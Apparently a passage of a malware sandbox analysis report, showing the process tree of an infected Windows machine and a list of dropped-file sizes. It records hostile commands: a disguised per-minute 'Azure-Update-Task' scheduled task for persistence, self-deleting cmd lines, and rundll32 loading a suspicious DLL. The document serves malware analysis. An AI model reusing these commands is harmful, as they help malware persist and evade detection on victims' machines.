C:\Users\Admin\AppData\Local\Temp\acmnbv5v.40o\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\acmnbv5v.40o\gcleaner.exe /mixfive5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "gcleaner.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\acmnbv5v.40o\gcleaner.exe" & exit6⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "gcleaner.exe" /f7⤵
- Kills process with taskkill
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ntallfc3.o0t\autosubplayer.exe /S & exit4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS8369B2C1\Thu2025d6674aed72ba.exeThu2025d6674aed72ba.exe /mixone1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\6602.exeC:\Users\Admin\AppData\Local\Temp\6602.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\8546.exeC:\Users\Admin\AppData\Local\Temp\8546.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\E06.exeC:\Users\Admin\AppData\Local\Temp\E06.exe1⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\E06.exe"2⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK3⤵
- Delays execution with timeout.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\Y5w0MsyV22.exe"C:\Users\Admin\AppData\Local\Temp\Y5w0MsyV22.exe"2⤵
-
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\sqlcmd.exe"3⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\D4CE.exeC:\Users\Admin\AppData\Local\Temp\D4CE.exe1⤵
-
C:\Windows\system32\taskeng.exetaskeng.exe {865C665C-9321-4051-A75A-1E027B1F3116} S-1-5-21-2455352368-1077083310-2879168483-1000:QWOCTUPM\Admin:Interactive:[1]1⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\sqlcmd.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\sqlcmd.exe2⤵
-
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\sqlcmd.exe"3⤵
- Creates scheduled task(s)
-
-
-
C:\Users\Admin\AppData\Roaming\hjjgfjvC:\Users\Admin\AppData\Roaming\hjjgfjv2⤵
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
44KB
-
Filesize
4KB
-
Filesize
8KB
-
Filesize
6.3MB
-
Filesize
4KB
-
Filesize
8KB
-
Filesize
100KB
-
Filesize
152KB
-
Filesize
572KB
-
Filesize
100KB
-
Filesize
1.5MB
-
Filesize
152KB
-
Filesize
100KB
-
Filesize
100KB
-
Filesize
1.5MB
-
Filesize
572KB
-
Filesize
436KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
40KB
-
Filesize
8KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
8KB
-
Filesize
4KB
-
Filesize
1.2MB
-
Filesize
4KB
-
Filesize
8KB
-
Filesize
39.4MB
-
Filesize
188KB
-
Filesize
8KB
-
Filesize
136KB
-
Filesize
136KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
8KB
-
Filesize
9.2MB
-
Filesize
9.1MB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
8KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB